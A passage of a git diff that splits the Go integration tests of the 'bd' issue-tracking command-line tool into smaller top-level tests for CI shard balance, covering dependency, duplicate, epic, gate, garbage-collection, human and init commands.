added by "add_positional_args" / "add_type_parent_child") -// stay grouped with the "add_*" cluster in TestEmbeddedDepA rather than a -// strict half/half split, since they depend on mutations made by those -// specific earlier subtests that a fresh per-function setup does not -// reproduce. -func TestEmbeddedDepA(t *testing.T) { +// The TestEmbeddedDepA* and TestEmbeddedDepB* tests were split from +// TestEmbeddedDep (originally ~317s, measured under --config=embedded), first +// into TestEmbeddedDepA and TestEmbeddedDepB and then (~95s each on +// rbe-west) into these 6 top-level tests over disjoint subtest groups, for +// CI shard balance (see scripts/ci/embedded_cmd_test_durations.json and +// engdocs/TESTING.md). Every original subtest is preserved exactly once. The +// "list_*" subtests (which assert on dependencies added by +// "add_positional_args" / "add_type_parent_child") stay with those subtests +// and the shared pre-created issues in TestEmbeddedDepAAddAndList, and the +// tree_* subtests with the pre-wired graph in TestEmbeddedDepBTreeAndCycles; +// the subtests that create every issue they use run in their own workspace. +func TestEmbeddedDepAAddAndList(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -153,6 +154,54 @@ func TestEmbeddedDepA(t *testing.T) { } }) + // ===== dep list ===== + + t.Run("list_default_direction_down", func(t *testing.T) { + // issueC depends on issueD (added earlier) + out := bdDep(t, bd, dir, "list", issueC.ID) + if !strings.Contains(out, issueD.ID) { + t.Errorf("expected dependency in list output: %s", out) + } + }) + + t.Run("list_direction_up", func(t *testing.T) { + out := bdDep(t, bd, dir, "list", issueD.ID, "--direction", "up") + if !strings.Contains(out, issueC.ID) { + t.Errorf("expected dependent in list --direction up: %s", out) + } + }) + + t.Run("list_type_filter", func(t *testing.T) { + out := bdDep(t, bd, dir, "list", epic.ID, "--direction", "up", "--type", "parent-child") + if !strings.Contains(out, child1.ID) || !strings.Contains(out, child2.ID) { + t.Errorf("expected children in type-filtered list: %s", out) + } + }) + + t.Run("list_json_output", func(t *testing.T) { + fullArgs := []string{"dep", "list", issueC.ID, "--json"} + cmd := exec.Command(bd, fullArgs...) + cmd.Dir = dir + cmd.Env = bdEnv(dir) + stdout, stderr, err := runCommandBuffers(t, cmd) + if err != nil { + t.Fatalf("dep list --json failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout.String(), stderr.String()) + } + if !strings.Contains(stdout.String(), issueD.ID) { + t.Errorf("expected dependency ID in JSON: %s", stdout.String()) + } + }) +} + +func TestEmbeddedDepAAddTypesAndFlags(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "dp") + t.Run("add_type_tracks", func(t *testing.T) { tracker := bdCreate(t, bd, dir, "Tracker", "--type", "task") tracked := bdCreate(t, bd, dir, "Tracked", "--type", "task") @@ -189,6 +238,16 @@ func TestEmbeddedDepA(t *testing.T) { t.Errorf("expected dependency in deps: %s", out) } }) +} + +func TestEmbeddedDepAAddRejectionsAndBulk(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "dp") t.Run("add_cycle_rejected", func(t *testing.T) { // A->B already exists, add B->A to create cycle — should be rejected @@ -261,47 +320,9 @@ func TestEmbeddedDepA(t *testing.T) { t.Fatalf("bulk validation failure should not add valid rows: %s", list) } }) - - // ===== dep list ===== - - t.Run("list_default_direction_down", func(t *testing.T) { - // issueC depends on issueD (added earlier) - out := bdDep(t, bd, dir, "list", issueC.ID) - if !strings.Contains(out, issueD.ID) { - t.Errorf("expected dependency in list output: %s", out) - } - }) - - t.Run("list_direction_up", func(t *testing.T) { - out := bdDep(t, bd, dir, "list", issueD.ID, "--direction", "up") - if !strings.Contains(out, issueC.ID) { - t.Errorf("expected dependent in list --direction up: %s", out) - } - }) - - t.Run("list_type_filter", func(t *testing.T) { - out := bdDep(t, bd, dir, "list", epic.ID, "--direction", "up", "--type", "parent-child") - if !strings.Contains(out, child1.ID) || !strings.Contains(out, child2.ID) { - t.Errorf("expected children in type-filtered list: %s", out) - } - }) - - t.Run("list_json_output", func(t *testing.T) { - fullArgs := []string{"dep", "list", issueC.ID, "--json"} - cmd := exec.Command(bd, fullArgs...) - cmd.Dir = dir - cmd.Env = bdEnv(dir) - stdout, stderr, err := runCommandBuffers(t, cmd) - if err != nil { - t.Fatalf("dep list --json failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout.String(), stderr.String()) - } - if !strings.Contains(stdout.String(), issueD.ID) { - t.Errorf("expected dependency ID in JSON: %s", stdout.String()) - } - }) } -func TestEmbeddedDepB(t *testing.T) { +func TestEmbeddedDepBTreeAndCycles(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -327,54 +348,6 @@ func TestEmbeddedDepB(t *testing.T) { bdDep(t, bd, dir, "add", child2.ID, epic.ID, "--type", "parent-child") bdDep(t, bd, dir, "add", issueC.ID, issueD.ID) - // ===== dep remove ===== - - t.Run("remove_basic", func(t *testing.T) { - r1 := bdCreate(t, bd, dir, "Remove A", "--type", "task") - r2 := bdCreate(t, bd, dir, "Remove B", "--type", "task") - bdDep(t, bd, dir, "add", r1.ID, r2.ID) - out := bdDep(t, bd, dir, "remove", r1.ID, r2.ID) - if !strings.Contains(out, "Removed") { - t.Errorf("expected 'Removed' in output: %s", out) - } - }) - - t.Run("remove_rm_alias", func(t *testing.T) { - r1 := bdCreate(t, bd, dir, "Rm A", "--type", "task") - r2 := bdCreate(t, bd, dir, "Rm B", "--type", "task") - bdDep(t, bd, dir, "add", r1.ID, r2.ID) - out := bdDep(t, bd, dir, "rm", r1.ID, r2.ID) - if !strings.Contains(out, "Removed") { - t.Errorf("expected 'Removed' via rm alias: %s", out) - } - }) - - t.Run("remove_json_output", func(t *testing.T) { - r1 := bdCreate(t, bd, dir, "RmJSON A", "--type", "task") - r2 := bdCreate(t, bd, dir, "RmJSON B", "--type", "task") - bdDep(t, bd, dir, "add", r1.ID, r2.ID) - m := bdDepJSON(t, bd, dir, "remove", r1.ID, r2.ID) - if m["status"] != "removed" { - t.Errorf("expected status=removed, got %v", m["status"]) - } - if m["removed"] != true { - t.Errorf("expected removed=true, got %v", m["removed"]) - } - }) - - t.Run("remove_missing_edge_reports_noop", func(t *testing.T) { - r1 := bdCreate(t, bd, dir, "Missing edge A", "--type", "task") - r2 := bdCreate(t, bd, dir, "Missing edge B", "--type", "task") - out := bdDep(t, bd, dir, "remove", r1.ID, r2.ID) - if !strings.Contains(out, "No dependency found") || strings.Contains(out, "✓") { - t.Errorf("missing edge should report a no-op, got: %s", out) - } - m := bdDepJSON(t, bd, dir, "remove", r1.ID, r2.ID) - if m["status"] != "not_found" || m["removed"] != false { - t.Errorf("missing edge JSON = %v, want status=not_found removed=false", m) - } - }) - // ===== dep tree ===== t.Run("tree_basic", func(t *testing.T) { @@ -433,6 +406,85 @@ func TestEmbeddedDepB(t *testing.T) { } }) + // ===== dep cycles ===== + + t.Run("cycles_detect", func(t *testing.T) { + // We created a cycle earlier (cyA <-> cyB) + out := bdDep(t, bd, dir, "cycles") + // Should report at least one cycle + if !strings.Contains(out, "cycle") && !strings.Contains(out, "Cycle") && !strings.Contains(out, "No cycles") { + t.Errorf("expected cycle info in output: %s", out) + } + }) +} + +func TestEmbeddedDepBRemove(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "dp") + + // ===== dep remove ===== + + t.Run("remove_basic", func(t *testing.T) { + r1 := bdCreate(t, bd, dir, "Remove A", "--type", "task") + r2 := bdCreate(t, bd, dir, "Remove B", "--type", "task") + bdDep(t, bd, dir, "add", r1.ID, r2.ID) + out := bdDep(t, bd, dir, "remove", r1.ID, r2.ID) + if !strings.Contains(out, "Removed") { + t.Errorf("expected 'Removed' in output: %s", out) + } + }) + + t.Run("remove_rm_alias", func(t *testing.T) { + r1 := bdCreate(t, bd, dir, "Rm A", "--type", "task") + r2 := bdCreate(t, bd, dir, "Rm B", "--type", "task") + bdDep(t, bd, dir, "add", r1.ID, r2.ID) + out := bdDep(t, bd, dir, "rm", r1.ID, r2.ID) + if !strings.Contains(out, "Removed") { + t.Errorf("expected 'Removed' via rm alias: %s", out) + } + }) +} + +func TestEmbeddedDepBRemoveOutputAndRelatesTo(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "dp") + + t.Run("remove_json_output", func(t *testing.T) { + r1 := bdCreate(t, bd, dir, "RmJSON A", "--type", "task") + r2 := bdCreate(t, bd, dir, "RmJSON B", "--type", "task") + bdDep(t, bd, dir, "add", r1.ID, r2.ID) + m := bdDepJSON(t, bd, dir, "remove", r1.ID, r2.ID) + if m["status"] != "removed" { + t.Errorf("expected status=removed, got %v", m["status"]) + } + if m["removed"] != true { + t.Errorf("expected removed=true, got %v", m["removed"]) + } + }) + + t.Run("remove_missing_edge_reports_noop", func(t *testing.T) { + r1 := bdCreate(t, bd, dir, "Missing edge A", "--type", "task") + r2 := bdCreate(t, bd, dir, "Missing edge B", "--type", "task") + out := bdDep(t, bd, dir, "remove", r1.ID, r2.ID) + if !strings.Contains(out, "No dependency found") || strings.Contains(out, "✓") { + t.Errorf("missing edge should report a no-op, got: %s", out) + } + m := bdDepJSON(t, bd, dir, "remove", r1.ID, r2.ID) + if m["status"] != "not_found" || m["removed"] != false { + t.Errorf("missing edge JSON = %v, want status=not_found removed=false", m) + } + }) + t.Run("tree_ignores_bidirectional_relates_to", func(t *testing.T) { root := bdCreate(t, bd, dir, "Tree relates root", "--type", "task") blocker := bdCreate(t, bd, dir, "Tree real blocker", "--type", "task") @@ -461,17 +513,6 @@ func TestEmbeddedDepB(t *testing.T) { } }) - // ===== dep cycles ===== - - t.Run("cycles_detect", func(t *testing.T) { - // We created a cycle earlier (cyA <-> cyB) - out := bdDep(t, bd, dir, "cycles") - // Should report at least one cycle - if !strings.Contains(out, "cycle") && !strings.Contains(out, "Cycle") && !strings.Contains(out, "No cycles") { - t.Errorf("expected cycle info in output: %s", out) - } - }) - t.Run("cycles_no_cycles", func(t *testing.T) { // Fresh init with no cycles dir2, _, _ := bdInit(t, bd, "--prefix", "dp2") diff --git a/cmd/bd/duplicates_embedded_test.go b/cmd/bd/duplicates_embedded_test.go index d3275231a..aaf941f82 100644 --- a/cmd/bd/duplicates_embedded_test.go +++ b/cmd/bd/duplicates_embedded_test.go @@ -49,7 +49,7 @@ func bdDuplicatesJSON(t *testing.T, bd, dir string, args ...string) map[string]i return m } -func TestEmbeddedDuplicates(t *testing.T) { +func TestEmbeddedDuplicatesSharedFixture(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -76,6 +76,49 @@ func TestEmbeddedDuplicates(t *testing.T) { } }) + // ===== JSON output ===== + + t.Run("json_output_structure", func(t *testing.T) { + m := bdDuplicatesJSON(t, bd, dir) + if _, ok := m["duplicate_groups"]; !ok { + t.Error("expected 'duplicate_groups' key") + } + if _, ok := m["groups"]; !ok { + t.Error("expected 'groups' key") + } + }) + + // ===== Dry run ===== + + t.Run("dry_run", func(t *testing.T) { + m := bdDuplicatesJSON(t, bd, dir, "--dry-run") + if _, ok := m["merge_commands"]; !ok { + t.Error("expected 'merge_commands' key with --dry-run") + } + // Dry run should NOT have merge_results + if _, ok := m["merge_results"]; ok { + t.Error("dry run should not have merge_results") + } + }) + + // ===== Human-readable output ===== + + t.Run("human_readable", func(t *testing.T) { + out := bdDuplicates(t, bd, dir) + if !strings.Contains(out, "duplicate") && !strings.Contains(out, "Duplicate") && !strings.Contains(out, "No duplicates") { + t.Errorf("expected duplicate info in output: %s", out) + } + }) +} + +func TestEmbeddedDuplicatesOwnWorkspaces(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + // ===== No duplicates when all unique ===== t.Run("no_duplicates", func(t *testing.T) { @@ -89,18 +132,6 @@ func TestEmbeddedDuplicates(t *testing.T) { } }) - // ===== JSON output ===== - - t.Run("json_output_structure", func(t *testing.T) { - m := bdDuplicatesJSON(t, bd, dir) - if _, ok := m["duplicate_groups"]; !ok { - t.Error("expected 'duplicate_groups' key") - } - if _, ok := m["groups"]; !ok { - t.Error("expected 'groups' key") - } - }) - // ===== Auto-merge ===== t.Run("auto_merge", func(t *testing.T) { @@ -142,19 +173,6 @@ func TestEmbeddedDuplicates(t *testing.T) { } }) - // ===== Dry run ===== - - t.Run("dry_run", func(t *testing.T) { - m := bdDuplicatesJSON(t, bd, dir, "--dry-run") - if _, ok := m["merge_commands"]; !ok { - t.Error("expected 'merge_commands' key with --dry-run") - } - // Dry run should NOT have merge_results - if _, ok := m["merge_results"]; ok { - t.Error("dry run should not have merge_results") - } - }) - // ===== Excludes closed issues ===== t.Run("excludes_closed", func(t *testing.T) { @@ -170,15 +188,6 @@ func TestEmbeddedDuplicates(t *testing.T) { t.Log("mixed open/closed duplicates detected — expected 0 groups due to status mismatch") } }) - - // ===== Human-readable output ===== - - t.Run("human_readable", func(t *testing.T) { - out := bdDuplicates(t, bd, dir) - if !strings.Contains(out, "duplicate") && !strings.Contains(out, "Duplicate") && !strings.Contains(out, "No duplicates") { - t.Errorf("expected duplicate info in output: %s", out) - } - }) } // TestEmbeddedDuplicatesConcurrent exercises duplicates operations concurrently. diff --git a/cmd/bd/epic_embedded_test.go b/cmd/bd/epic_embedded_test.go index b2e064d7f..e1eb91403 100644 --- a/cmd/bd/epic_embedded_test.go +++ b/cmd/bd/epic_embedded_test.go @@ -119,12 +119,15 @@ func TestEmbeddedEpicStatus(t *testing.T) { }) } -// TestEmbeddedEpicCloseEligible was split from TestEmbeddedEpic (originally +// TestEmbeddedEpicCloseEligible* was split from TestEmbeddedEpic (originally // ~362s, measured under --config=embedded) into 3 top-level tests over // disjoint subtest groups, for CI shard balance (see // scripts/ci/embedded_cmd_test_durations.json and engdocs/TESTING.md). Every original -// subtest is preserved exactly once. -func TestEmbeddedEpicCloseEligible(t *testing.T) { +// subtest is preserved exactly once. It is split again in two: +// TestEmbeddedEpicCloseEligibleNotEligible keeps the shared not-eligible epic +// fixture and the two subtests that read it, and +// TestEmbeddedEpicCloseEligibleClosesEpics the two that build their own. +func TestEmbeddedEpicCloseEligibleNotEligible(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -156,6 +159,23 @@ func TestEmbeddedEpicCloseEligible(t *testing.T) { } }) + t.Run("close_eligible_none", func(t *testing.T) { + // epic1 has open children — should not be closeable + out := bdEpic(t, bd, dir, "close-eligible") + if strings.Contains(out, epic1.ID) { + t.Errorf("epic1 should not be closed: %s", out) + } + }) +} + +func TestEmbeddedEpicCloseEligibleClosesEpics(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + t.Run("close_eligible_closes_epics", func(t *testing.T) { dir3, _, _ := bdInit(t, bd, "--prefix", "ep3") e := bdCreate(t, bd, dir3, "Close me epic", "--type", "epic") @@ -202,14 +222,6 @@ func TestEmbeddedEpicCloseEligible(t *testing.T) { t.Fatalf("no JSON: %s", s) } }) - - t.Run("close_eligible_none", func(t *testing.T) { - // epic1 has open children — should not be closeable - out := bdEpic(t, bd, dir, "close-eligible") - if strings.Contains(out, epic1.ID) { - t.Errorf("epic1 should not be closed: %s", out) - } - }) } // TestEmbeddedEpicCloseEligibleReason was split from TestEmbeddedEpic diff --git a/cmd/bd/gate_embedded_test.go b/cmd/bd/gate_embedded_test.go index 04c93963c..d2c8030a8 100644 --- a/cmd/bd/gate_embedded_test.go +++ b/cmd/bd/gate_embedded_test.go @@ -97,11 +97,10 @@ func createBeadGate(t *testing.T, bd, dir, awaitID string) *types.Issue { return &gate } -func TestEmbeddedGate(t *testing.T) { - if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { - t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") - } - t.Parallel() +// setupEmbeddedGate is the TestEmbeddedGate* tests' workspace: prefix tg, +// with "gate" registered as a custom type. +func setupEmbeddedGate(t *testing.T) (string, string) { + t.Helper() bd := buildEmbeddedBD(t) dir, beadsDir, _ := bdInit(t, bd, "--prefix", "tg") @@ -112,6 +111,16 @@ func TestEmbeddedGate(t *testing.T) { t.Fatalf("SetConfig types.custom: %v", err) } store.Close() + return bd, dir +} + +func TestEmbeddedGateList(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd, dir := setupEmbeddedGate(t) // ===== Gate List ===== @@ -173,6 +182,15 @@ func TestEmbeddedGate(t *testing.T) { t.Errorf("expected at most 1 result with --limit 1, got %d", len(results)) } }) +} + +func TestEmbeddedGateShowResolve(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd, dir := setupEmbeddedGate(t) // ===== Gate Show ===== @@ -233,6 +251,15 @@ func TestEmbeddedGate(t *testing.T) { task := bdCreate(t, bd, dir, "Not a gate resolve", "--type", "task") bdGateFail(t, bd, dir, "resolve", task.ID) }) +} + +func TestEmbeddedGateWaiterCheckLifecycle(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd, dir := setupEmbeddedGate(t) // ===== Gate Add-Waiter ===== @@ -375,12 +402,11 @@ func TestEmbeddedGate(t *testing.T) { }) } -// TestEmbeddedGateCreate exercises the "bd gate create" subcommand. -func TestEmbeddedGateCreate(t *testing.T) { - if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { - t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") - } - t.Parallel() +// setupEmbeddedGateCreate is the shared workspace of the +// TestEmbeddedGateCreate* tests ("bd gate create"): prefix gc, with "gate" +// registered as a custom type so bd gate create works. +func setupEmbeddedGateCreate(t *testing.T) (string, string) { + t.Helper() bd := buildEmbeddedBD(t) dir, beadsDir, _ := bdInit(t, bd, "--prefix", "gc") @@ -391,6 +417,16 @@ func TestEmbeddedGateCreate(t *testing.T) { t.Fatalf("SetConfig types.custom: %v", err) } store.Close() + return bd, dir +} + +func TestEmbeddedGateCreateFlags(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd, dir := setupEmbeddedGateCreate(t) t.Run("create_default_human_gate", func(t *testing.T) { task := bdCreate(t, bd, dir, "Task for human gate", "--type", "task") @@ -492,6 +528,15 @@ func TestEmbeddedGateCreate(t *testing.T) { t.Errorf("expected title 'Gate: gh:pr 42', got %s", gate.Title) } }) +} + +func TestEmbeddedGateCreateRepoErrorsList(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd, dir := setupEmbeddedGateCreate(t) t.Run("create_gate_with_repo", func(t *testing.T) { task := bdCreate(t, bd, dir, "Task for cross-repo PR gate", "--type", "task") @@ -536,6 +581,48 @@ func TestEmbeddedGateCreate(t *testing.T) { } }) + t.Run("create_gate_missing_blocks_flag", func(t *testing.T) { + out := bdGateFail(t, bd, dir, "create") + if !strings.Contains(out, "blocks") { + t.Errorf("expected error about missing --blocks flag: %s", out) + } + }) + + t.Run("create_gate_nonexistent_target", func(t *testing.T) { + out := bdGateFail(t, bd, dir, "create", "--blocks", "gc-nonexistent999") + if !strings.Contains(out, "not found") { + t.Errorf("expected 'not found' error: %s", out) + } + }) + + t.Run("create_gate_appears_in_gate_list", func(t *testing.T) { + task := bdCreate(t, bd, dir, "Task for list check", "--type", "task") + bdGate(t, bd, dir, "create", "--blocks", task.ID) + + results := bdGateListJSON(t, bd, dir) + found := false + for _, r := range results { + if awaitType, ok := r["await_type"]; ok && awaitType == "human" { + if desc, ok := r["description"].(string); ok && strings.Contains(desc, task.ID) { + found = true + break + } + } + } + if !found { + t.Errorf("expected gate blocking %s in gate list", task.ID) + } + }) +} + +func TestEmbeddedGateCreateReady(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + t.Run("create_gate_blocks_ready", func(t *testing.T) { // Use a fresh db so ready output isn't polluted by other subtests freshDir, freshBeads, _ := bdInit(t, bd, "--prefix", "gr") @@ -620,39 +707,15 @@ func TestEmbeddedGateCreate(t *testing.T) { t.Errorf("task should reappear in ready after gate resolved: %s", stdout.String()) } }) +} - t.Run("create_gate_missing_blocks_flag", func(t *testing.T) { - out := bdGateFail(t, bd, dir, "create") - if !strings.Contains(out, "blocks") { - t.Errorf("expected error about missing --blocks flag: %s", out) - } - }) +func TestEmbeddedGateCreateBeadCheck(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() - t.Run("create_gate_nonexistent_target", func(t *testing.T) { - out := bdGateFail(t, bd, dir, "create", "--blocks", "gc-nonexistent999") - if !strings.Contains(out, "not found") { - t.Errorf("expected 'not found' error: %s", out) - } - }) - - t.Run("create_gate_appears_in_gate_list", func(t *testing.T) { - task := bdCreate(t, bd, dir, "Task for list check", "--type", "task") - bdGate(t, bd, dir, "create", "--blocks", task.ID) - - results := bdGateListJSON(t, bd, dir) - found := false - for _, r := range results { - if awaitType, ok := r["await_type"]; ok && awaitType == "human" { - if desc, ok := r["description"].(string); ok && strings.Contains(desc, task.ID) { - found = true - break - } - } - } - if !found { - t.Errorf("expected gate blocking %s in gate list", task.ID) - } - }) + bd := buildEmbeddedBD(t) t.Run("check_bead_gate_resolves_only_a_missing_target_it_saw", func(t *testing.T) { // Use a fresh db so the check sees only these bead gates @@ -690,6 +753,15 @@ func TestEmbeddedGateCreate(t *testing.T) { t.Errorf("gate on a never-seen await_id: status=%s, want open", got.Status) } }) +} + +func TestEmbeddedGateCreateBeadRename(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) t.Run("rename_keeps_a_bead_gate_on_its_target", func(t *testing.T) { // Renaming the awaited bead points its gate at the new ID and moves diff --git a/cmd/bd/gc_embedded_test.go b/cmd/bd/gc_embedded_test.go index 26f72588f..7d71e7751 100644 --- a/cmd/bd/gc_embedded_test.go +++ b/cmd/bd/gc_embedded_test.go @@ -39,7 +39,7 @@ func bdGCFail(t *testing.T, bd, dir string, args ...string) string { return string(out) } -func TestEmbeddedGC(t *testing.T) { +func TestEmbeddedGCDryRunAndSkips(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -98,6 +98,22 @@ func TestEmbeddedGC(t *testing.T) { } }) + t.Run("gc_full_dry_run", func(t *testing.T) { + out := bdGC(t, bd, dir, "--full", "--dry-run") + if !strings.Contains(out, "full DOLT_GC()") { + t.Errorf("dry run does not say it would run a full GC: %s", out) + } + }) +} + +func TestEmbeddedGCForceWithDecay(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + // ===== Force with Decay ===== t.Run("gc_force_with_decay", func(t *testing.T) { @@ -125,6 +141,15 @@ func TestEmbeddedGC(t *testing.T) { } } }) +} + +func TestEmbeddedGCFullAndNoForcePrompts(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) // ===== Full GC ===== @@ -147,13 +172,6 @@ func TestEmbeddedGC(t *testing.T) { } }) - t.Run("gc_full_dry_run", func(t *testing.T) { - out := bdGC(t, bd, dir, "--full", "--dry-run") - if !strings.Contains(out, "full DOLT_GC()") { - t.Errorf("dry run does not say it would run a full GC: %s", out) - } - }) - // ===== No --force prompts ===== t.Run("gc_no_force_prompts", func(t *testing.T) { diff --git a/cmd/bd/human_embedded_test.go b/cmd/bd/human_embedded_test.go index 51e3b7bc6..204a3cc4a 100644 --- a/cmd/bd/human_embedded_test.go +++ b/cmd/bd/human_embedded_test.go @@ -48,7 +48,7 @@ func humanShowClosed(t *testing.T, bd, dir, id string) *types.Issue { return issue } -func TestEmbeddedHuman(t *testing.T) { +func TestEmbeddedHumanListStatsRespondDismiss(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -127,6 +127,16 @@ func TestEmbeddedHuman(t *testing.T) { t.Errorf("expected dismiss reason %q, got %q", "Dismissed: Not needed", issue2.CloseReason) } }) +} + +func TestEmbeddedHumanPositionalFileAndGuards(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "th") // ===== Respond via positional text and --file ===== diff --git a/cmd/bd/init_embedded_test.go b/cmd/bd/init_embedded_test.go index 891985cd4..d5c4449b2 100644 --- a/cmd/bd/init_embedded_test.go +++ b/cmd/bd/init_embedded_test.go @@ -11,6 +11,7 @@ import ( "os/exec" "path/filepath" "runtime" + "slices" "strings" "sync" "testing" @@ -338,12 +339,12 @@ func requireNoFile(t *testing.T, path string) { } } -// TestEmbeddedInitA, TestEmbeddedInitB, and TestEmbeddedInitC were split from -// TestEmbeddedInit (originally ~356s, measured under --config=embedded) into -// 3 top-level tests over disjoint subtest groups, for CI shard balance (see -// scripts/ci/embedded_cmd_test_durations.json and engdocs/TESTING.md). Every original -// subtest is preserved exactly once. -func TestEmbeddedInitA(t *testing.T) { +// The TestEmbeddedInitA*, TestEmbeddedInitB* and TestEmbeddedInitC tests were +// split from TestEmbeddedInit (originally ~356s, measured under +// --config=embedded) into top-level tests over disjoint subtest groups, for CI +// shard balance (see scripts/ci/embedded_cmd_test_durations.json and +// engdocs/TESTING.md). Every original subtest is preserved exactly once. +func TestEmbeddedInitABasic(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt init tests") } @@ -478,6 +479,15 @@ func TestEmbeddedInitA(t *testing.T) { t.Errorf("issue_prefix: got %q, want %q", val, "alpha") } }) +} + +func TestEmbeddedInitAForkAutoContributor(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt init tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) t.Run("fork_auto_contributor", func(t *testing.T) { dir := t.TempDir() @@ -541,6 +551,15 @@ func TestEmbeddedInitA(t *testing.T) { t.Errorf("beads.role: got %q, want %q", role, "contributor") } }) +} + +func TestEmbeddedInitAGitOriginRemote(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt init tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) t.Run("git_origin_registered_as_dolt_remote", func(t *testing.T) { bareDir := filepath.Join(t.TempDir(), "plain.git") @@ -583,6 +602,15 @@ func TestEmbeddedInitA(t *testing.T) { t.Fatalf("bd dolt push did not publish refs/dolt/data:\n%s", lsOut) } }) +} + +func TestEmbeddedInitAPushConsentAndRemoteBootstrap(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set 